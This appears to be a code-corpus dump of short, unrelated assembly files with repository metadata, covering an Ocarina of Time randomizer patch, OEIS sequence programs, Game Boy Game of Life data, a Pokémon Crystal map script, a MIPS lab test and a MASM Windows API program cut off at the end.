{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_P', 'same': True, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_P', 'same': True, 'AVXalign': False, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_P', 'same': True, 'AVXalign': True, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 6}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 8}, 'dst': {'same': True, 'type': 'addresses_D_ht', 'congruent': 9}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 4}}
{'00': 1}
00
*/
| 18.077295 | 150 | 0.636558 |
f591d6c6f28791889153d50046dafa71d5edeef4 | 459 | asm | Assembly | ASM/src/zelda.asm | Triaphlax/OoT-Randomizer | d6755f8e4b1c6b5d5612e583f8f91fa303f1669b | [
"MIT"
] | 344 | 2018-07-07T07:36:26.000Z | 2022-03-27T22:48:10.000Z | ASM/src/zelda.asm | Triaphlax/OoT-Randomizer | d6755f8e4b1c6b5d5612e583f8f91fa303f1669b | [
"MIT"
] | 1,076 | 2018-07-09T04:01:39.000Z | 2022-03-31T17:18:22.000Z | ASM/src/zelda.asm | Triaphlax/OoT-Randomizer | d6755f8e4b1c6b5d5612e583f8f91fa303f1669b | [
"MIT"
] | 320 | 2018-07-02T01:19:41.000Z | 2022-03-25T01:28:30.000Z | ;load zeldas current animation to check it
;also move link a little bit forward out of talk range
zelda_check_anim:
addiu a1, a1, 0x6F04 ;displaced, wait animation seg address
lw t0, 0x144(a0) ;current animation
beq t0, a1, @@return
la t1, PLAYER_ACTOR
li t2, 0x4469C000 ;935.0f
li t3, 0xC3240000 ;-164.0f
sw t2, 0x24(t1) ;x
sw t3, 0x2C(t1) ;z
@@return:
jr ra
nop
| 30.6 | 66 | 0.588235 |
98c0ee64090a01e6d2bd4ba7e7924ecd4ee8bc26 | 1,386 | asm | Assembly | programs/oeis/059/A059568.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/059/A059568.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/059/A059568.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A059568: Beatty sequence for 1 - 1/log(log(2)).
; 3,7,11,14,18,22,26,29,33,37,41,44,48,52,55,59,63,67,70,74,78,82,85,89,93,96,100,104,108,111,115,119,123,126,130,134,137,141,145,149,152,156,160,164,167,171,175,178,182,186,190,193,197,201,205,208,212,216,219,223,227,231,234,238,242,246,249,253,257,260,264,268,272,275,279,283,287,290,294,298,302,305,309,313,316,320,324,328,331,335,339,343,346,350,354,357,361,365,369,372,376,380,384,387,391,395,398,402,406,410,413,417,421,425,428,432,436,439,443,447,451,454,458,462,466,469,473,477,480,484,488,492,495,499,503,507,510,514,518,521,525,529,533,536,540,544,548,551,555,559,562,566,570,574,577,581,585,589,592,596,600,604,607,611,615,618,622,626,630,633,637,641,645,648,652,656,659,663,667,671,674,678,682,686,689,693,697,700,704,708,712,715,719,723,727,730,734,738,741,745,749,753,756,760,764,768,771,775,779,782,786,790,794,797,801,805,809,812,816,820,823,827,831,835,838,842,846,850,853,857,861,864,868,872,876,879,883,887,891,894,898,902,906,909,913,917,920,924,928,932
mov $2,$0
add $2,1
mov $5,$0
lpb $2
mov $0,$5
sub $2,1
sub $0,$2
mov $3,$0
mov $7,2
lpb $7
mov $0,$3
sub $7,1
add $0,$7
mul $0,59
div $0,81
mul $0,2
mov $4,$0
mov $6,$7
lpb $6
sub $6,1
mov $8,$4
lpe
lpe
lpb $3
mov $3,0
sub $8,$4
lpe
mov $4,$8
div $4,2
add $4,3
add $1,$4
lpe
| 38.5 | 973 | 0.652958 |
311652f09d2220ec16b7848dd3c4b17add3af32c | 505 | asm | Assembly | oeis/008/A008482.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/008/A008482.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/008/A008482.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A008482: Coefficients in expansion of (x-1)*(1+x)^(n-1), n > 0.
; Submitted by Christian Krause
; 0,-1,1,-1,0,1,-1,-1,1,1,-1,-2,0,2,1,-1,-3,-2,2,3,1,-1,-4,-5,0,5,4,1,-1,-5,-9,-5,5,9,5,1,-1,-6,-14,-14,0,14,14,6,1,-1,-7,-20,-28,-14,14,28,20,7,1,-1,-8,-27,-48,-42,0,42,48,27,8,1,-1,-9,-35,-75,-90,-42,42,90,75,35,9,1,-1,-10,-44,-110,-165,-132,0,132,165,110,44,10,1,-1,-11,-54,-154,-275,-297,-132,132,297
lpb $0
mov $2,$0
mov $0,0
seq $2,112467 ; Riordan array ((1-2x)/(1-x), x/(1-x)).
lpe
mov $0,$2
| 45.909091 | 304 | 0.538614 |
88b9f1b65de149e367b74309da4fdcdb306b9440 | 281 | asm | Assembly | programs/oeis/070/A070432.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/070/A070432.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/070/A070432.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A070432: Period 4: repeat [0, 1, 4, 1]; a(n) = n^2 mod 8.
; 0,1,4,1,0,1,4,1,0,1,4,1,0,1,4,1,0,1,4,1,0,1,4,1,0,1,4,1,0,1,4,1,0,1,4,1,0,1,4,1,0,1,4,1,0,1,4,1,0,1,4,1,0,1,4,1,0,1,4,1,0,1,4,1,0,1,4,1,0,1,4,1,0,1,4,1,0,1,4,1,0,1,4,1,0,1,4,1,0,1,4,1,0,1,4,1,0,1,4,1
pow $0,2
mod $0,8
| 46.833333 | 201 | 0.505338 |
a88db4c278f04e97272b9096027e112804a3fd6e | 2,513 | asm | Assembly | Code/data.asm | msklywenn/GB-GameOfLife | 16ef5f192f1ffde8c9684e586b0188a0ff5abd7d | [
"BSD-3-Clause"
] | 9 | 2019-01-03T15:06:28.000Z | 2022-01-18T10:00:52.000Z | Code/data.asm | msklywenn/GB-GameOfLife | 16ef5f192f1ffde8c9684e586b0188a0ff5abd7d | [
"BSD-3-Clause"
] | null | null | null | Code/data.asm | msklywenn/GB-GameOfLife | 16ef5f192f1ffde8c9684e586b0188a0ff5abd7d | [
"BSD-3-Clause"
] | 2 | 2019-01-03T00:55:44.000Z | 2019-07-23T12:42:11.000Z | INCLUDE "hardware.inc"
EXPORT BitsSet
SECTION "Bits Set", ROM0, ALIGN[8]
BitsSet:
db 0; 0 = 0000
db 1; 1 = 0001
db 1; 2 = 0010
db 2; 3 = 0011
db 1; 4 = 0100
db 2; 5 = 0101
db 2; 6 = 0110
db 3; 7 = 0111
db 1; 8 = 1000
db 2; 9 = 1001
db 2; 10 = 1010
db 3; 11 = 1011
db 2; 12 = 1100
db 3; 13 = 1101
db 3; 14 = 1110
db 4; 15 = 1111
EXPORT DefaultMap
SECTION "Default Map", ROM0, ALIGN[8]
DefaultMap:
; 32x18 map matching the startup nintendo logo
db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
db 0, 0, 0, 0,13,10, 9, 4,14,12, 4,12, 8,14, 8, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
db 0, 0, 0, 0, 5,11,15,10,10,10,14, 5,15,14, 9, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
EXPORT BackgroundTiles, BackgroundTilesEnd
SECTION "Graphics", ROM0
BackgroundTiles:
INCBIN "BackgroundTiles.bin"
BackgroundTilesEnd: ds 0
EXPORT SpriteTiles, SpriteTilesEnd
SECTION "Graphics", ROM0
SpriteTiles:
INCBIN "SpriteTiles.bin"
SpriteTilesEnd: ds 0 | 44.875 | 98 | 0.449264 |
b4cc46beddc691f23574a7a35557d617b3f4fcf3 | 861 | asm | Assembly | programs/oeis/084/A084707.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/084/A084707.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/084/A084707.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A084707: a(0) = 1, a(1) = 3, a(2) = 9, a(3) = 27; a(n) = 3*a(n-1) - 3*a(n-3) + a(n-4) for n > 3.
; 1,3,9,27,73,195,513,1347,3529,9243,24201,63363,165889,434307,1137033,2976795,7793353,20403267,53416449,139846083,366121801,958519323,2509436169,6569789187,17199931393,45030004995,117890083593,308640245787,808030653769,2115451715523,5538324492801,14499521762883,37960240795849,99381200624667,260183361078153,681168882609795,1783323286751233,4668800977643907
mov $2,$0
add $2,1
mov $3,$0
lpb $2
mov $0,$3
sub $2,1
sub $0,$2
trn $0,1
cal $0,61647 ; Beginning at the well for the topograph of a positive definite quadratic form with values 1, 1, 1 at a superbase (i.e., 1, 1 and 1 are the vonorms of the superbase), these numbers indicate the labels of the edges of the topograph on a path of greatest ascent.
add $1,$0
lpe
sub $1,1
mul $1,2
add $1,1
| 47.833333 | 358 | 0.730546 |
3751966cafa2a6b30b1cbb2b37d007b3d83f6452 | 9,167 | asm | Assembly | maps/old/PowerPlant.asm | AtmaBuster/pokeplat-gen2 | fa83b2e75575949b8f72cb2c48f7a1042e97f70f | [
"blessing"
] | 6 | 2021-06-19T06:41:19.000Z | 2022-02-15T17:12:33.000Z | maps/PowerPlant.asm | TastySnax12/pokecrystal16-493-plus | 9de36c8803c9bdf4b8564ed547f988b0b66f0c41 | [
"blessing"
] | null | null | null | maps/PowerPlant.asm | TastySnax12/pokecrystal16-493-plus | 9de36c8803c9bdf4b8564ed547f988b0b66f0c41 | [
"blessing"
] | 3 | 2021-01-15T18:45:40.000Z | 2021-10-16T03:35:27.000Z | object_const_def ; object_event constants
const POWERPLANT_OFFICER1
const POWERPLANT_GYM_GUY1
const POWERPLANT_GYM_GUY2
const POWERPLANT_OFFICER2
const POWERPLANT_GYM_GUY3
const POWERPLANT_MANAGER
const POWERPLANT_FOREST
PowerPlant_MapScripts:
db 2 ; scene scripts
scene_script .DummyScene0 ; SCENE_POWERPLANT_NOTHING
scene_script .DummyScene1 ; SCENE_POWERPLANT_GUARD_GETS_PHONE_CALL
db 0 ; callbacks
.DummyScene0:
end
.DummyScene1:
end
PowerPlantGuardPhoneScript:
playsound SFX_CALL
showemote EMOTE_SHOCK, POWERPLANT_OFFICER1, 15
waitsfx
pause 30
applymovement POWERPLANT_OFFICER1, PowerPlantOfficer1ApproachGymGuy2Movement
turnobject POWERPLANT_GYM_GUY1, DOWN
turnobject POWERPLANT_GYM_GUY2, DOWN
opentext
writetext PowerPlantOfficer1CeruleanShadyCharacterText
waitbutton
closetext
turnobject POWERPLANT_OFFICER1, LEFT
turnobject PLAYER, RIGHT
opentext
writetext PowerPlantOfficer1CouldIAskForYourCooperationText
waitbutton
closetext
turnobject PLAYER, DOWN
applymovement POWERPLANT_OFFICER1, PowerPlantOfficer1ReturnToPostMovement
setscene SCENE_POWERPLANT_NOTHING
end
PowerPlantOfficerScript:
faceplayer
opentext
checkevent EVENT_RETURNED_MACHINE_PART
iftrue .ReturnedMachinePart
checkevent EVENT_MET_MANAGER_AT_POWER_PLANT
iftrue .MetManager
writetext PowerPlantOfficer1AThiefBrokeInText
waitbutton
closetext
end
.MetManager:
writetext PowerPlantOfficer1CouldIAskForYourCooperationText
waitbutton
closetext
end
.ReturnedMachinePart:
writetext PowerPlantOfficer1HaveToBeefUpSecurityText
waitbutton
closetext
end
PowerPlantGymGuy1Script:
faceplayer
opentext
checkevent EVENT_RETURNED_MACHINE_PART
iftrue .ReturnedMachinePart
writetext PowerPlantGymGuy1SomeoneStoleAPartText
waitbutton
closetext
end
.ReturnedMachinePart:
writetext PowerPlantGymGuy1GeneratorUpAndRunningText
waitbutton
closetext
end
PowerPlantGymGuy2Script:
faceplayer
opentext
checkevent EVENT_RETURNED_MACHINE_PART
iftrue .ReturnedMachinePart
writetext PowerPlantGymGuy2PowerPlantUpAndRunningText
waitbutton
closetext
end
.ReturnedMachinePart:
writetext PowerPlantGymGuy2GeneratorIsRunningAgainText
waitbutton
closetext
end
PowerPlantOfficer2Script:
faceplayer
opentext
checkevent EVENT_RETURNED_MACHINE_PART
iftrue .ReturnedMachinePart
writetext PowerPlantOfficer2ManagerHasBeenSadAndFuriousText
waitbutton
closetext
end
.ReturnedMachinePart:
writetext PowerPlantOfficer2ManagerHasBeenCheerfulText
waitbutton
closetext
end
PowerPlantGymGuy4Script:
faceplayer
opentext
checkevent EVENT_RETURNED_MACHINE_PART
iftrue .ReturnedMachinePart
writetext PowerPlantGymGuy4MagnetTrainConsumesElectricityText
waitbutton
closetext
end
.ReturnedMachinePart:
writetext PowerPlantGymGuy4WeCanGetMagnetTrainRunningText
waitbutton
closetext
end
PowerPlantManager:
faceplayer
opentext
checkevent EVENT_RETURNED_MACHINE_PART
iftrue .ReturnedMachinePart
checkitem MACHINE_PART
iftrue .FoundMachinePart
checkevent EVENT_MET_MANAGER_AT_POWER_PLANT
iftrue .MetManager
writetext PowerPlantManagerWhoWouldRuinMyGeneratorText
waitbutton
closetext
setevent EVENT_MET_MANAGER_AT_POWER_PLANT
clearevent EVENT_CERULEAN_GYM_ROCKET
clearevent EVENT_FOUND_MACHINE_PART_IN_CERULEAN_GYM
setmapscene CERULEAN_GYM, SCENE_CERULEANGYM_GRUNT_RUNS_OUT
setscene SCENE_POWERPLANT_GUARD_GETS_PHONE_CALL
end
.MetManager:
writetext PowerPlantManagerIWontForgiveCulpritText
waitbutton
closetext
end
.FoundMachinePart:
writetext PowerPlantManagerThatsThePartText
buttonsound
takeitem MACHINE_PART
setevent EVENT_RETURNED_MACHINE_PART
clearevent EVENT_SAFFRON_TRAIN_STATION_POPULATION
setevent EVENT_ROUTE_5_6_POKEFAN_M_BLOCKS_UNDERGROUND_PATH
setevent EVENT_ROUTE_24_ROCKET
setevent EVENT_RESTORED_POWER_TO_KANTO
clearevent EVENT_GOLDENROD_TRAIN_STATION_GENTLEMAN
.ReturnedMachinePart:
checkevent EVENT_GOT_TM07_ZAP_CANNON
iftrue .GotZapCannon
writetext PowerPlantManagerTakeThisTMText
buttonsound
verbosegivetmhm TM_ZAP_CANNON
iffalse .NoRoom
setevent EVENT_GOT_TM07_ZAP_CANNON
writetext PowerPlantManagerTM07IsZapCannonText
waitbutton
.NoRoom:
closetext
end
.GotZapCannon:
writetext PowerPlantManagerMyBelovedGeneratorText
waitbutton
closetext
end
Forest:
faceplayer
opentext
trade NPC_TRADE_FOREST
waitbutton
closetext
end
PowerPlantBookshelf:
jumpstd difficultbookshelf
PowerPlantOfficer1ApproachGymGuy2Movement:
step RIGHT
step RIGHT
step UP
step UP
step_end
PowerPlantOfficer1ReturnToPostMovement:
step DOWN
step DOWN
step LEFT
step LEFT
turn_head DOWN
step_end
PowerPlantOfficer1AThiefBrokeInText:
text "A thief broke into"
line "the POWER PLANT…"
para "What is the world"
line "coming to?"
done
PowerPlantOfficer1CeruleanShadyCharacterText:
text "I just got word"
line "from CERULEAN."
para "It appears that a"
line "shady character"
para "has been loitering"
line "around."
done
PowerPlantOfficer1CouldIAskForYourCooperationText:
text "Could I ask for"
line "your cooperation?"
done
PowerPlantOfficer1HaveToBeefUpSecurityText:
text "We'll have to beef"
line "up our security"
cont "presence."
done
PowerPlantGymGuy1SomeoneStoleAPartText:
text "Someone made off"
line "with a part that's"
para "essential for the"
line "generator."
para "Without it, the"
line "new generator's"
cont "useless!"
done
PowerPlantGymGuy1GeneratorUpAndRunningText:
text "The generator's up"
line "and running. It's"
para "making electricity"
line "to spare."
done
PowerPlantGymGuy2PowerPlantUpAndRunningText:
text "This POWER PLANT"
line "had been abandoned"
cont "in the past."
para "We got it back up"
line "and running to"
para "provide power to"
line "the MAGNET TRAIN."
done
PowerPlantGymGuy2GeneratorIsRunningAgainText:
text "The generator's"
line "running again!"
done
PowerPlantOfficer2ManagerHasBeenSadAndFuriousText:
text "The POWER PLANT's"
line "MANAGER is up"
cont "ahead."
para "But since someone"
line "wrecked the gener-"
cont "ator, he's been"
cont "both sad and"
cont "furious…"
done
PowerPlantOfficer2ManagerHasBeenCheerfulText:
text "Since the gener-"
line "ator's been fixed,"
para "the MANAGER has"
line "been cheerful."
done
PowerPlantGymGuy4MagnetTrainConsumesElectricityText:
text "The MAGNET TRAIN"
line "consumes a lot of"
cont "electricity."
para "It can't move if"
line "the new generator"
cont "isn't operating."
done
PowerPlantGymGuy4WeCanGetMagnetTrainRunningText:
text "All right! We can"
line "finally get the"
para "MAGNET TRAIN"
line "running again."
done
PowerPlantManagerWhoWouldRuinMyGeneratorText:
text "MANAGER: I, I, I'm"
line "ready to blast"
cont "someone!"
para "Who would dare"
line "ruin my generator?"
para "I spent so much"
line "time on it!"
para "If I catch him,"
line "he's going to get"
para "a taste of my ZAP"
line "CANNON!"
done
PowerPlantManagerIWontForgiveCulpritText:
text "MANAGER: I won't"
line "forgive him!"
para "The culprit can"
line "cry and apologize,"
para "but I'll still"
line "hammer him!"
para "Gahahahah!"
done
PowerPlantManagerThatsThePartText:
text "MANAGER: Ah! Yeah!"
para "That's the missing"
line "PART from my be-"
cont "loved generator!"
cont "You found it?"
done
PowerPlantManagerTakeThisTMText:
text "Wahah! Thanks!"
para "Here! Take this TM"
line "as a reward!"
done
PowerPlantManagerTM07IsZapCannonText:
text "MANAGER: TM07 is"
line "my ZAP CANNON."
para "It's a powerful"
line "technique!"
para "It's not what any-"
line "one would consider"
para "accurate, but it"
line "packs a wallop!"
done
PowerPlantManagerMyBelovedGeneratorText:
text "MANAGER: My be-"
line "loved generator!"
para "Keep pumping the"
line "electricity out!"
done
PowerPlant_MapEvents:
db 0, 0 ; filler
db 2 ; warp events
warp_event 2, 17, ROUTE_10_NORTH, 2
warp_event 3, 17, ROUTE_10_NORTH, 2
db 1 ; coord events
coord_event 5, 12, SCENE_POWERPLANT_GUARD_GETS_PHONE_CALL, PowerPlantGuardPhoneScript
db 2 ; bg events
bg_event 0, 1, BGEVENT_READ, PowerPlantBookshelf
bg_event 1, 1, BGEVENT_READ, PowerPlantBookshelf
db 7 ; object events
object_event 4, 14, SPRITE_OFFICER, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_GREEN, OBJECTTYPE_SCRIPT, 0, PowerPlantOfficerScript, -1
object_event 2, 9, SPRITE_GYM_GUY, SPRITEMOVEDATA_SPINRANDOM_SLOW, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, PowerPlantGymGuy1Script, -1
object_event 6, 11, SPRITE_GYM_GUY, SPRITEMOVEDATA_STANDING_UP, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, PowerPlantGymGuy2Script, -1
object_event 9, 3, SPRITE_OFFICER, SPRITEMOVEDATA_STANDING_LEFT, 0, 0, -1, -1, PAL_NPC_GREEN, OBJECTTYPE_SCRIPT, 0, PowerPlantOfficer2Script, -1
object_event 7, 2, SPRITE_GYM_GUY, SPRITEMOVEDATA_WALK_LEFT_RIGHT, 1, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, PowerPlantGymGuy4Script, -1
object_event 14, 10, SPRITE_FISHER, SPRITEMOVEDATA_STANDING_UP, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, PowerPlantManager, -1
object_event 5, 5, SPRITE_GYM_GUY, SPRITEMOVEDATA_STANDING_UP, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, Forest, -1
| 22.304136 | 147 | 0.814225 |
44b8528b0087d6ad5b4bedcbe8202e698e16bb95 | 399 | asm | Assembly | programs/oeis/055/A055955.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/055/A055955.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/055/A055955.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A055955: n - reversal of base 7 digits of n (written in base 10).
; 0,0,0,0,0,0,0,6,0,-6,-12,-18,-24,-30,12,6,0,-6,-12,-18,-24,18,12,6,0,-6,-12,-18,24,18,12,6,0,-6,-12,30,24,18,12,6,0,-6,36,30,24,18,12,6,0,48,0,-48,-96,-144,-192,-240,48,0,-48,-96,-144,-192,-240,48,0,-48,-96,-144,-192,-240,48,0,-48,-96,-144,-192,-240
mov $1,$0
cal $0,30106 ; Base 7 reversal of n (written in base 10).
sub $1,$0
| 57 | 251 | 0.588972 |
58389258e6978a3adb887b5d6b457f712da748c9 | 1,120 | asm | Assembly | Lab5/lab3_test/sim.asm | RabbitWhite1/USTC-COD-Experiment | 691cf0271dc15d7784f1f1d69d54a5967e007aa0 | [
"MIT"
] | 1 | 2022-03-31T07:12:00.000Z | 2022-03-31T07:12:00.000Z | Lab5/lab3_test/sim.asm | RabbitWhite1/USTC-COD-Experiment | 691cf0271dc15d7784f1f1d69d54a5967e007aa0 | [
"MIT"
] | null | null | null | Lab5/lab3_test/sim.asm | RabbitWhite1/USTC-COD-Experiment | 691cf0271dc15d7784f1f1d69d54a5967e007aa0 | [
"MIT"
] | null | null | null | # 本文档存储器以字节编址
# 本文档存储器以字节编址
# 本文档存储器以字节编址
# 初始PC = 0x00000000
.data
.word 0,6,0,8,0x80000000,0x80000100,0x100,5,0
;
_start:
addi $t0,$0,3 #t0=3 0 20080003
addi $t1,$0,5 #t1=5 4 20090005
addi $t2,$0,1 #t2=1 8 200a0001
addi $t3,$0,0 #t3=0 12 200b0000
add $s0,$t1,$t0 #s0=t1+t0=8 测试add指令 16 01288020
lw $s1,12($0) # 20 8c11000c
beq $s1,$s0,_next1 #正确跳到_next 24 12300001
j _fail # 08000010 28
_next1:
lw $t0, 16($0) #t0 = 0x80000000 32 8c080010
lw $t1, 20($0) #t1 = 0x80000100 36 8c090014
add $s0,$t1,$t0 #s0 = 0x00000100 = 256 40 01288020
lw $s1, 24($0) # 44 8c110018
beq $s1,$s0,_next2 #正确跳到_success 48 12300001
j _fail # 08000010
_next2:
add $0, $0, $t2 # $0应该为0 56 000a0020
beq $0,$t3,_success # 60 100b0002
_fail:
sw $t3,8($0) # ac0b0008 64
j _fail # 08000010 68
_success:
sw $t2,8($0) #全部测试通过,存储器地址0x08里的值为1 ac0a0008 72
j _success #08000012 76
#判断测试通过的条件是最后存储器地址0x08里的值为1,说明全部通过测试
| 24.888889 | 60 | 0.554464 |
6dd3f11c503db75d692941696345dac2875e9a32 | 281 | asm | Assembly | programs/oeis/165/A165246.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/165/A165246.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/165/A165246.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A165246: a(n) = (10^n + 53)/9
; 7,17,117,1117,11117,111117,1111117,11111117,111111117,1111111117,11111111117,111111111117,1111111111117,11111111111117,111111111111117,1111111111111117,11111111111111117,111111111111111117
add $0,1
mov $1,10
pow $1,$0
div $1,9
add $1,6
mov $0,$1
| 28.1 | 190 | 0.772242 |
f6c0d56f2501d96aca2afacdf997b7a3f3e8c75a | 1,045 | asm | Assembly | Chapter_10/Program 10.4/Program_10.4_MASM_32.asm | hexu1985/Assembly.Programming.And.Computer.Architecture | 89180cb908425312a83038d1ad7b609ffe301d30 | [
"MIT"
] | null | null | null | Chapter_10/Program 10.4/Program_10.4_MASM_32.asm | hexu1985/Assembly.Programming.And.Computer.Architecture | 89180cb908425312a83038d1ad7b609ffe301d30 | [
"MIT"
] | null | null | null | Chapter_10/Program 10.4/Program_10.4_MASM_32.asm | hexu1985/Assembly.Programming.And.Computer.Architecture | 89180cb908425312a83038d1ad7b609ffe301d30 | [
"MIT"
] | null | null | null | ; Program 10.4
; Windows API Calls - MASM (32-bit)
; Copyright (c) 2017 Hall & Slonka
.386
.MODEL FLAT, stdcall
.STACK 4096
GetCurrentProcessId PROTO
ExitProcess PROTO, dwExitCode:DWORD
MessageBoxA PROTO, hwnd:DWORD, text:DWORD, caption:DWORD, buttons:DWORD
.DATA
output BYTE "Computer Architecture",0
caption BYTE "Message", 0
decimal DWORD 10
PID DWORD ?
.CODE
